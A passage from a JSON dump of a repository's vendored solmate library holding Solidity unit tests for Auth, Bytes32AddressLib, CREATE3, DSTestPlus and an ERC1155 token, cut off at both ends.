public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerAsOwnerWithOutOfOrderAuthority(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.setOwner(deadOwner);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/Bytes32AddressLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {Bytes32AddressLib} from \"../utils/Bytes32AddressLib.sol\";\n\ncontract Bytes32AddressLibTest is DSTestPlus {\n    function testFillLast12Bytes() public {\n        assertEq(\n            Bytes32AddressLib.fillLast12Bytes(0xfEEDFaCEcaFeBEEFfEEDFACecaFEBeeFfeEdfAce),\n            0xfeedfacecafebeeffeedfacecafebeeffeedface000000000000000000000000\n        );\n    }\n\n    function testFromLast20Bytes() public {\n        assertEq(\n            Bytes32AddressLib.fromLast20Bytes(0xfeedfacecafebeeffeedfacecafebeeffeedfacecafebeeffeedfacecafebeef),\n            0xCAfeBeefFeedfAceCAFeBEEffEEDfaCecafEBeeF\n        );\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/CREATE3.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {WETH} from \"../tokens/WETH.sol\";\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockERC20} from \"./utils/mocks/MockERC20.sol\";\nimport {MockAuthChild} from \"./utils/mocks/MockAuthChild.sol\";\n\nimport {CREATE3} from \"../utils/CREATE3.sol\";\n\ncontract CREATE3Test is DSTestPlus {\n    function testDeployERC20() public {\n        bytes32 salt = keccak256(bytes(\"A salt!\"));\n\n        MockERC20 deployed = MockERC20(\n            CREATE3.deploy(\n                salt,\n                abi.encodePacked(type(MockERC20).creationCode, abi.encode(\"Mock Token\", \"MOCK\", 18)),\n                0\n            )\n        );\n\n        assertEq(address(deployed), CREATE3.getDeployed(salt));\n\n        assertEq(deployed.name(), \"Mock Token\");\n        assertEq(deployed.symbol(), \"MOCK\");\n        assertEq(deployed.decimals(), 18);\n    }\n\n    function testFailDoubleDeploySameBytecode() public {\n        bytes32 salt = keccak256(bytes(\"Salty...\"));\n\n        CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);\n        CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);\n    }\n\n    function testFailDoubleDeployDifferentBytecode() public {\n        bytes32 salt = keccak256(bytes(\"and sweet!\"));\n\n        CREATE3.deploy(salt, type(WETH).creationCode, 0);\n        CREATE3.deploy(salt, type(MockAuthChild).creationCode, 0);\n    }\n\n    function testDeployERC20(\n        bytes32 salt,\n        string calldata name,\n        string calldata symbol,\n        uint8 decimals\n    ) public {\n        MockERC20 deployed = MockERC20(\n            CREATE3.deploy(salt, abi.encodePacked(type(MockERC20).creationCode, abi.encode(name, symbol, decimals)), 0)\n        );\n\n        assertEq(address(deployed), CREATE3.getDeployed(salt));\n\n        assertEq(deployed.name(), name);\n        assertEq(deployed.symbol(), symbol);\n        assertEq(deployed.decimals(), decimals);\n    }\n\n    function testFailDoubleDeploySameBytecode(bytes32 salt, bytes calldata bytecode) public {\n        CREATE3.deploy(salt, bytecode, 0);\n        CREATE3.deploy(salt, bytecode, 0);\n    }\n\n    function testFailDoubleDeployDifferentBytecode(\n        bytes32 salt,\n        bytes calldata bytecode1,\n        bytes calldata bytecode2\n    ) public {\n        CREATE3.deploy(salt, bytecode1, 0);\n        CREATE3.deploy(salt, bytecode2, 0);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/DSTestPlus.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\ncontract DSTestPlusTest is DSTestPlus {\n    function testBound() public {\n        assertEq(bound(5, 0, 4), 0);\n        assertEq(bound(0, 69, 69), 69);\n        assertEq(bound(0, 68, 69), 68);\n        assertEq(bound(10, 150, 190), 174);\n        assertEq(bound(300, 2800, 3200), 3107);\n        assertEq(bound(9999, 1337, 6666), 4669);\n    }\n\n    function testFailBoundMinBiggerThanMax() public pure {\n        bound(5, 100, 10);\n    }\n\n    function testBound(\n        uint256 num,\n        uint256 min,\n        uint256 max\n    ) public {\n        if (min > max) (min, max) = (max, min);\n\n        uint256 bounded = bound(num, min, max);\n\n        assertGe(bounded, min);\n        assertLe(bounded, max);\n    }\n\n    function testFailBoundMinBiggerThanMax(\n        uint256 num,\n        uint256 min,\n        uint256 max\n    ) public pure {\n        if (max == min) {\n            unchecked {\n                min++; // Overflow is handled below.\n            }\n        }\n\n        if (max > min) (min, max) = (max, min);\n\n        bound(num, min, max);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/ERC1155.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {MockERC1155} from \"./utils/mocks/MockERC1155.sol\";\nimport {ERC1155User} from \"./utils/users/ERC1155User.sol\";\n\nimport {ERC1155TokenReceiver} from \"../tokens/ERC1155.sol\";\n\ncontract ERC1155Recipient is ERC1155TokenReceiver {\n    address public operator;\n    address public from;\n    uint256 public id;\n    uint256 public amount;\n    bytes public mintData;\n\n    function onERC1155Received(\n        address _operator,\n        address _from,\n        uint256 _id,\n        uint256 _amount,\n        bytes calldata _data\n    ) public override returns (bytes4) {\n        operator = _operator;\n        from = _from;\n        id = _id;\n        amount = _amount;\n        mintData = _data;\n\n        return ERC1155TokenReceiver.onERC1155Received.selector;\n    }\n\n    address public batchOperator;\n    address public batchFrom;\n    uint256[] internal _batchIds;\n    uint256[] internal _batchAmounts;\n    bytes public batchData;\n\n    function batchIds() external view returns (uint256[] memory) {\n        return _batchIds;\n    }\n\n    function batchAmounts() external view returns (uint256[] memory) {\n        return _batchAmounts;\n    }\n\n    function onERC1155BatchReceived(\n        address _operator,\n        address _from,\n        uint256[] calldata _ids,\n        uint256[] calldata _amounts,\n        bytes calldata _data\n    ) external override returns (bytes4) {\n        batchOperator = _operator;\n        batchFrom = _from;\n        _batchIds = _ids;\n        _batchAmounts = _amounts;\n        batchData = _data;\n\n        return ERC1155TokenReceiver.onERC1155BatchReceived.selector;\n    }\n}\n\ncontract RevertingERC1155Recipient is ERC1155TokenReceiver {\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) public pure override returns (bytes4) {\n        revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155Received.selector)));\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external pure override returns (bytes4) {\n        revert(string(abi.encodePacked(ERC1155TokenReceiver.onERC1155BatchReceived.selector)));\n    }\n}\n\ncontract WrongReturnDataERC1155Recipient is ERC1155TokenReceiver {\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) public pure override returns (bytes4) {\n        return 0xCAFEBEEF;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external pure override returns (bytes4) {\n        return 0xCAFEBEEF;\n    }\n}\n\ncontract NonERC1155Recipient {}\n\ncontract ERC1155Test is DSTestPlus, ERC1155TokenReceiver {\n    MockERC1155 token;\n\n    mapping(address => mapping(uint256 => uint256)) public userMintAmounts;\n    mapping(address => mapping(uint256 => uint256)) public userTransferOrBurnAmounts;\n\n    function setUp() public {\n        token = new MockERC1155();\n    }\n\n    function testMintToEOA() public {\n        token.mint(address(0xBEEF), 1337, 1, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 1);\n    }\n\n    function testMintToERC1155Recipient() public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        token.mint(address(to), 1337, 1, \"testing 123\");\n\n        assertEq(token.balanceOf(address(to), 1337), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.mintData(), \"testing 123\");\n    }\n\n    function testBatchMintToEOA() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory amounts = new uint256[](5);\n        amounts[0] = 100;\n        amounts[1] = 200;\n        amounts[2] = 300;\n        amounts[3] = 400;\n        amounts[4] = 500;\n\n        token.batchMint(address(0xBEEF), ids, amounts, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 100);\n        assertEq(token.balanceOf(address(0xBEEF), 1338), 200);\n        assertEq(token.balanceOf(address(0xBEEF), 1339), 300);\n        assertEq(token.balanceOf(address(0xBEEF), 1340), 400);\n        assertEq(token.balanceOf(address(0xBEEF), 1341), 500);\n    }\n\n    function testBatchMintToERC1155Recipient() public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory amounts = new uint256[](5);\n        amounts[0] = 100;\n        amounts[1] = 200;\n        amounts[2] = 300;\n        amounts[3] = 400;\n        amounts[4] = 500;\n\n        token.batchMint(address(to), ids, amounts, \"testing 123\");\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(0));\n        assertUintArrayEq(to.batchIds(), ids);\n        assertUintArrayEq(to.batchAmounts(), amounts);\n        assertBytesEq(to.batchData(), \"testing 123\");\n\n        assertEq(token.balanceOf(address(to), 1337), 100);\n        assertEq(token.balanceOf(address(to), 1338), 200);\n        assertEq(token.balanceOf(address(to), 1339), 300);\n        assertEq(token.balanceOf(address(to), 1340), 400);\n        assertEq(token.balanceOf(address(to), 1341), 500);\n    }\n\n    function testBurn() public {\n        token.mint(address(0xBEEF), 1337, 100, \"\");\n\n        token.burn(address(0xBEEF), 1337, 70);\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 30);\n    }\n\n    function testBatchBurn() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory burnAmounts = new uint256[](5);\n        burnAmounts[0] = 50;\n        burnAmounts[1] = 100;\n        burnAmounts[2] = 150;\n        burnAmounts[3] = 200;\n        burnAmounts[4] = 250;\n\n        token.batchMint(address(0xBEEF), ids, mintAmounts, \"\");\n\n        token.batchBurn(address(0xBEEF), ids, burnAmounts);\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 50);\n        assertEq(token.balanceOf(address(0xBEEF), 1338), 100);\n        assertEq(token.balanceOf(address(0xBEEF), 1339), 150);\n        assertEq(token.balanceOf(address(0xBEEF), 1340), 200);\n        assertEq(token.balanceOf(address(0xBEEF), 1341), 250);\n    }\n\n    function testApproveAll() public {\n        token.setApprovalForAll(address(0xBEEF), true);\n\n        assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));\n    }\n\n    function testSafeTransferFromToEOA() public {\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), 1337, 100, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(0xBEEF), 1337, 70, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 70);\n        assertEq(token.balanceOf(address(from), 1337), 30);\n    }\n\n    function testSafeTransferFromToERC1155Recipient() public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), 1337, 100, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(to), 1337, 70, \"testing 123\");\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(from));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.mintData(), \"testing 123\");\n\n        assertEq(token.balanceOf(address(to), 1337), 70);\n        assertEq(token.balanceOf(address(from), 1337), 30);\n    }\n\n    function testSafeTransferFromSelf() public {\n        token.mint(address(this), 1337, 100, \"\");\n\n        token.safeTransferFrom(address(this), address(0xBEEF), 1337, 70, \"\");\n\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 70);\n        assertEq(token.balanceOf(address(this), 1337), 30);\n    }\n\n    function testSafeBatchTransferFromToEOA() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, \"\");\n\n        assertEq(token.balanceOf(address(from), 1337), 50);\n        assertEq(token.balanceOf(address(0xBEEF), 1337), 50);\n\n        assertEq(token.balanceOf(address(from), 1338), 100);\n        assertEq(token.balanceOf(address(0xBEEF), 1338), 100);\n\n        assertEq(token.balanceOf(address(from), 1339), 150);\n        assertEq(token.balanceOf(address(0xBEEF), 1339), 150);\n\n        assertEq(token.balanceOf(address(from), 1340), 200);\n        assertEq(token.balanceOf(address(0xBEEF), 1340), 200);\n\n        assertEq(token.balanceOf(address(from), 1341), 250);\n        assertEq(token.balanceOf(address(0xBEEF), 1341), 250);\n    }\n\n    function testSafeBatchTransferFromToERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(to), ids, transferAmounts, \"testing 123\");\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(from));\n        assertUintArrayEq(to.batchIds(), ids);\n        assertUintArrayEq(to.batchAmounts(), transferAmounts);\n        assertBytesEq(to.batchData(), \"testing 123\");\n\n        assertEq(token.balanceOf(address(from), 1337), 50);\n        assertEq(token.balanceOf(address(to), 1337), 50);\n\n        assertEq(token.balanceOf(address(from), 1338), 100);\n        assertEq(token.balanceOf(address(to), 1338), 100);\n\n        assertEq(token.balanceOf(address(from), 1339), 150);\n        assertEq(token.balanceOf(address(to), 1339), 150);\n\n        assertEq(token.balanceOf(address(from), 1340), 200);\n        assertEq(token.balanceOf(address(to), 1340), 200);\n\n        assertEq(token.balanceOf(address(from), 1341), 250);\n        assertEq(token.balanceOf(address(to), 1341), 250);\n    }\n\n    function testBatchBalanceOf() public {\n        address[] memory tos = new address[](5);\n        tos[0] = address(0xBEEF);\n        tos[1] = address(0xCAFE);\n        tos[2] = address(0xFACE);\n        tos[3] = address(0xDEAD);\n        tos[4] = address(0xFEED);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        token.mint(address(0xBEEF), 1337, 100, \"\");\n        token.mint(address(0xCAFE), 1338, 200, \"\");\n        token.mint(address(0xFACE), 1339, 300, \"\");\n        token.mint(address(0xDEAD), 1340, 400, \"\");\n        token.mint(address(0xFEED), 1341, 500, \"\");\n\n        uint256[] memory balances = token.balanceOfBatch(tos, ids);\n\n        assertEq(balances[0], 100);\n        assertEq(balances[1], 200);\n        assertEq(balances[2], 300);\n        assertEq(balances[3], 400);\n        assertEq(balances[4], 500);\n    }\n\n    function testFailMintToZero() public {\n        token.mint(address(0), 1337, 1, \"\");\n    }\n\n    function testFailMintToNonERC155Recipient() public {\n        token.mint(address(new NonERC1155Recipient()), 1337, 1, \"\");\n    }\n\n    function testFailMintToRevertingERC155Recipient() public {\n        token.mint(address(new RevertingERC1155Recipient()), 1337, 1, \"\");\n    }\n\n    function testFailMintToWrongReturnDataERC155Recipient() public {\n        token.mint(address(new RevertingERC1155Recipient()), 1337, 1, \"\");\n    }\n\n    function testFailBurnInsufficientBalance() public {\n        token.mint(address(0xBEEF), 1337, 70, \"\");\n        token.burn(address(0xBEEF), 1337, 100);\n    }\n\n    function testFailSafeTransferFromInsufficientBalance() public {\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), 1337, 70, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(0xBEEF), 1337, 100, \"\");\n    }\n\n    function testFailSafeTransferFromSelfInsufficientBalance() public {\n        token.mint(address(this), 1337, 70, \"\");\n        token.safeTransferFrom(address(this), address(0xBEEF), 1337, 100, \"\");\n    }\n\n    function testFailSafeTransferFromToZero() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(0), 1337, 70, \"\");\n    }\n\n    function testFailSafeTransferFromToNonERC155Recipient() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), 1337, 70, \"\");\n    }\n\n    function testFailSafeTransferFromToRevertingERC1155Recipient() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(new RevertingERC1155Recipient()), 1337, 70, \"\");\n    }\n\n    function testFailSafeTransferFromToWrongReturnDataERC1155Recipient() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC1155Recipient()), 1337, 70, \"\");\n    }\n\n    function testFailSafeBatchTransferInsufficientBalance() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n\n        mintAmounts[0] = 50;\n        mintAmounts[1] = 100;\n        mintAmounts[2] = 150;\n        mintAmounts[3] = 200;\n        mintAmounts[4] = 250;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 100;\n        transferAmounts[1] = 200;\n        transferAmounts[2] = 300;\n        transferAmounts[3] = 400;\n        transferAmounts[4] = 500;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToZero() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToNonERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(new NonERC1155Recipient()), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToRevertingERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(new RevertingERC1155Recipient()), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new WrongReturnDataERC1155Recipient()),\n            ids,\n            transferAmounts,\n            \"\"\n        );\n    }\n\n    function testFailSafeBatchTransferFromWithArrayLengthMismatch() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](4);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, \"\");\n    }\n\n    function testFailBatchMintToZero() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(0), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintToNonERC1155Recipient() public {\n        NonERC1155Recipient to = new NonERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(to), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintToRevertingERC1155Recipient() public {\n        RevertingERC1155Recipient to = new RevertingERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(to), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintToWrongReturnDataERC1155Recipient() public {\n        WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(to), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintWithArrayMismatch() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory amounts = new uint256[](4);\n        amounts[0] = 100;\n        amounts[1] = 200;\n        amounts[2] = 300;\n        amounts[3] = 400;\n\n        token.batchMint(address(0xBEEF), ids, amounts, \"\");\n    }\n\n    function testFailBatchBurnInsufficientBalance() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 50;\n        mintAmounts[1] = 100;\n        mintAmounts[2] = 150;\n        mintAmounts[3] = 200;\n        mintAmounts[4] = 250;\n\n        uint256[] memory burnAmounts = new uint256[](5);\n        burnAmounts[0] = 100;\n        burnAmounts[1] = 200;\n        burnAmounts[2] = 300;\n        burnAmounts[3] = 400;\n        burnAmounts[4] = 500;\n\n        token.batchMint(address(0xBEEF), ids, mintAmounts, \"\");\n\n        token.batchBurn(address(0xBEEF), ids, burnAmounts);\n    }\n\n    function testFailBatchBurnWithArrayLengthMismatch() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory burnAmounts = new uint256[](4);\n        burnAmounts[0] = 50;\n        burnAmounts[1] = 100;\n        burnAmounts[2] = 150;\n        burnAmounts[3] = 200;\n\n        token.batchMint(address(0xBEEF), ids, mintAmounts, \"\");\n\n        token.batchBurn(address(0xBEEF), ids, burnAmounts);\n    }\n\n    function testFailBalanceOfBatchWithArrayMismatch() public view {\n        address[] memory tos = new address[](5);\n        tos[0] = address(0xBEEF);\n        tos[1] = address(0xCAFE);\n        tos[2] = address(0xFACE);\n        tos[3] = address(0xDEAD);\n        tos[4] = address(0xFEED);\n\n        uint256[] memory ids = new uint256[](4);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n\n        token.balanceOfBatch(tos, ids);\n    }\n\n    function testMintToEOA(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory mintData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 